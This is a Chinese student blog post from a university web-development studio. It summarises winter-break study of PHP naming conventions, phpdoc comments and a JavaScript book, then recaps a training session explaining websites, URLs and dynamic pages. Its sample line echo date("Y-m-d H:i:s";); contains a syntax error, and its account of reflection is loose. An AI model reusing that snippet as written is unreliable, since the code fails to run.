一个寒假过来,这几天还在忙于适应学校生活呢。在家里一个多月几乎与电脑完全隔离,几许欣慰,总算不用整天对着电脑啦,呵呵。按照有关规定:每天上网6小时以上属于网瘾,那我们工作室所有人都有网瘾啦。不过技术总无法离我而去,有时候甚至想,来到工作室,一旦进入计算机世界,我就只能如此了吧。而且我越来越清楚的看到,自己对计算机技术的书爱不释手,而本专业的教材却很难静心看下去。无论如何,我总是在挣扎着,专业一定不能放弃啊。我也相信自己能够做到。第一次会上,副部老冯说:“寒假让你们回去看的资料,大家有什么体会,都写下来……”。也许大家都不喜欢做家庭作业吧,我也是,但在寒暑假看一些技术类的书,已然成为我的一种习惯。我觉得,作为程序组人员,对于技术的爱好是一种基本素质,所以我更倡导一种自然的学习方式,大家对什么感兴趣自己去学吧。只要投入,你就能从中发现乐趣的。在这里再提一下我们工作室的口号“激情投入,互动创造”,我很喜欢这句话,大家在工作室应该享受一种投入创造的快乐。下面总结一下我在寒假的学习情况吧。

寒假带了三本薄薄的书,书贵在精致,而不是数量,一个假期能看两三本书就够了。这三本书分别是,PHP高级程序设计_模式、框架与测试 、JavaScript语言精粹。还有一本是心理学的,就不提啦。这第二本尤其让人震撼,在此我摘一些卓越网的评价:这是一本厚积薄发、“薄”大精深的书。 Douglas Crockford仅仅用了160页来道出JavaScript的语言本质,值得任何正在或者想从事JavaScript开发的人阅读,并且非常需要反复阅读。……重读这本书后,如醍醐灌顶,对JS有了新的认识。不能不说这本JS语言精粹是我读过的一本最好的技术类书。我尤其喜欢这种简约的风格。总的来说,寒假的学习分为三大类,PHP、JavaScript和Vim使用。分别来谈谈

首先是PHP,这个寒假接触了一些PHP高级技术,比如PHP类、设计模式之类的。我觉得对于我们而言,书中所提到的PHP编码规范是很值得我们学习的,程序代码中的编码规范通常包括两大点:变量的命名和注解规范。还有一点就是代码的缩进,这个通常用tab键实现。常用的变量命名法(也包括css属性名或者class id名)有四种:匈牙利命名法、骆驼命名法、下划线命名法和帕斯卡命名法。在这里各举一个PHP命名的例子

$strMessage,这里str表示的变量贮存的是一个字符串string,匈牙利命名法关键是:变量名=属性+类型+对象描述

$nowDateCn,驼峰命名就是当变量名或函式名是由一个或多个单字连结在一起,而构成的唯一识别字时,第一个单字以小写字母开始;第二个单字的首字母大写或每一个单字的首字母都采用大写字母。

$now_date_cn,下划线命名用下划线分割变量,这在css中属性常用

$NowDateCn,帕斯卡命名法与驼峰命名法的差别仅仅在于它的第一个单词首字母也是大写的。

各种命名法其实可以混合使用,尤其是第一种和第三种可以很好的结合在一起使用。需要提醒的是,在一个应用程序中,应该坚持统一的命名规则,这样有利于代码的维护阅读。我想我们工作室最好能够形成一套统一的规范,这个工作我正在考虑当中呢。我们应该给工作室留下一些什么,比如还有我们需要一个常用的类库,这非常有利于我们的快速开发。 关于注解,PHP常用为 phpdoc模式,如下为一个函数的注解

/**
* 提交发送数据返回已序列化的PHP数据内容
*
* @param string $PostUrl 要指交的远程地址
* @param array $data 要提交的数据
* @return obj  远程返回的对像
*/
function getWebServerData($PostUrl,$data)
{
//函数体
}

第一行为/*,最后一行/,这种注解模式是一种可编译模式,也就是程序在编译时,这些注解不会被PHP解析程序忽视,而是可以成为一种PHP函数或类自身反射的信息数据。反射在程序中指的是一种语言对自身的判断,比如PHP函数func_get_args可以在本函数中或者传入参数序列。这有些想心理学中的元的概念,比如元认知,元记忆,元认知是指人对自身认知活动的时间分配、精力控制等等调控行为,而元记忆指人对自身记忆的记忆,也就是你知道自己记得什么(有些东西虽然自己知道自己记得,但是在某些情况下就是想不起来,比如某个熟人的名字一下子忘记了)。不过这对于我们没有太大的用处,在小规模应用中,很难用到反射的。所以注解用/*开头也行。@param这个表示传入参数,后面是函数参数类型,这个很容易看明白的。注解内容第一行是对本函数的描述。@param,@return这两个参数在函数注解中用得最多。

再看看Zend framework的注解,常用的还有@author表示作者

/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled……
*
* @category   Zend
* @package    Zend_Db
* @subpackage Table
* @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
* @license    http://framework.zend.com/license/new-bsd     New BSD License
* @version    $Id: Exception.php 16541 2009-07-07 06:59:03Z bkarwin $
*/

注解规范也属于代码规范的重要内容之一啦。说这么多其实,我的目的是能够在工作室留下一套常用的PHP类库或函数库,并且告诫程序组成员,代码是人可以阅读的计算机语言,所以可读性很重要。不过一个优秀的好用的函数库或类库,最重要的还是它们的逻辑实现过程,这个得靠大家的一起努力啦。工作室大一组员要加油啦,下学期也许我整个学期都要去实习,工作室重任就落在你们肩上了。此外就是JavaScript啦,这个暂时搁置,有机会给大家做一个 JavaScript专题,现代web技术JavaScript太强大了,这个世界已然不能没有你。那本JavaScript语言精粹,大家想看的可以问我要,现在我又借过来,准备看第二遍呢。

网站概念——第三次培训总结

程序组又加入几个新人,为了让大家能够尽快在同一平台上学习,总结了一下第三次培训的内容,感觉这次培训的内容挺多的,大家可能一时无法完全接受,就在此总结让大家有时间可以回过头看看……

本次培训的主要目的上让程序组成员对于网站工作的基本原理有所认识,培训以网站概念为核心。

首先,介绍一下什么是网站:网站是远程服务器端文件以及文件之间逻辑结构(这个只是我的个人理解定义的,为了让大家更直接的感受一下网站实体,这个定义是我们程序组需要直接面对的部分,所以特意的提出来,当然网站还可以从其他角度了理解,我只是从我们程序员角度来定义它)。

这个概念解释一下,远程端的文件,网络的基本功能就是不同电脑之间文件(或者说数据)传输,Internet把这个世界的电脑都链接在一起,我们在浏览器上看到的任何一个网页都是指向远端(相对于本机而言)电脑上的一个文件。这里还涉及到两个概念,域名和url,域名指向的通常是一个远端的文件夹,比如我们efly的域名efly.nenu.edu.cn指向的就是我们服务器上一个efly的文件夹。url指向的是远端文件,还是我们e翔的urlhttp://efly.nenu.edu.cn,这个url并不是完整的,它实际上指向的是http://efly.nenu.edu.cn/index.asp,只是一个url可以在没有确定访问的文件时会指向一个默认的文件,这些文件都是一index为文件名,文件的后缀通常有html、htm、php、asp、jsp。随意拿一个url来给大家演示一下:user1/wangchao/archives/2009/2054.html这个url其实和我们本机的“C:\Documents and Settings\Administrator\桌面\团队文化\团队文化\56xiao.jpg”效果是一样的,只不过我们访问本机速度快很多而已。我们打开的是网页,实际上我们是把在我们服务器上的文件给下载到本机上,用浏览器查看,而那个我们下载下来的文件是符合浏览器解释标准的文档,通常是html文档。

从上面我们可以看出,网站的实体是远端的文件。而实际上由于我们要给浏览者看的文件需要更方便用户查看,所以这些远程文档的组织需要有一定的逻辑结构。首先主页,主页必须让浏览者知道我们的网站有一些什么东西,这个功能主要是由网站的导航实现,第二网站首页需要有网站的信息,比如文章新闻之类的,这部分是需要动态显示,也就是首页的新闻是需要更新的,下面我们想象一下,我们的主页url指向的是一个文件比如index.php,我们怎么才能让这个文件在不同时间不一样呢,应该说是有两种方法:

  1. 随时修改文件本身。
  2. 让文件调用数据库中的数据,通过修改数据库来改变文件的显示。

我们看第一种方法,在页面简单的情况下到是没有问题,但是通常我们的网页信息更新非常频繁的,这种方法修改主页本身这个过程我们增加了额外的负担(我们只想把一条新闻提前,而这个却让我们需要修改这个主页整个页面)。而第二中方法就可以避免修改整个页面的问题,我们可以直接按照一定的规则选择需要显示的东西放在网页上,这个规则就是网站的文件之间的逻辑结构,这个逻辑结构是由服务器端程序如php代码实现的。

讲完什么是网站了,在这里因为不好实际的演示,我写一个小小的例子吧:服务器端有一个文件夹example,域名www.example.com指向此文件夹,所以当我在浏览器中输入www.example.com,浏览器会自动向此服务器发送请求,这个请求会被服务器软件(如apache,这个应该讲过)截获,apache会判断这个url指向的是example中一个文件,我们假设它是index.php。这个文件的代码是:

echo  date("Y-m-d H:i:s";);

这是一个简单的代码,这个代码会在服务器上进行运算,然后这个得到的结果是代码运行时间以2009-11-2316:37:43这种格式输出,这个输出由apache发送,通过http协议发送到浏览器上,然后我们就可以在浏览器上看到2009-11-2316:37:43。什么是网站这个东西大家真正接触了就能更清晰这个概念了。总的来说作为网站程序员我们需要做的是两个,一是浏览器端的显示,我们需要写出符合浏览器端显示的html代码;第二就是后台服务器端的文件之间逻辑结构,这部分以后的培训会讲。

浏览器端主要由是html代码,很多人简称之为div+css,实际上这个只是为了强调css和html中div标签的作用。这部分更多的是操作性的,程序组的新人要多和一直的程序组的成员多交流。我懒得在讲一遍了,就上传一个网上别人总结的pdf文件DIVCSS布局大全.pdf,应该对大家会有所帮助的。

公布一下下一次的考核是让大家根据一个psd的图,把它切成html代码的。这个图大家在此下载。在这里说一下考核的标准:

  1. 要求在浏览器上的必须与图片一致,这个要求通常很难达到,大家尽力而为吧
  2. 要求html代码结构清晰,层级之间缩进符合要求,代码要求符合规范,最好能加注解
  3. 要求尽力使文件小,因为我们做的html需要通过网络发送到客户机上,对大小要求是越小越好。
  4. 考核的时间有一个月准备时间,具体的根据你们自己的能力来完成,如果学得快可以提前进入php学习。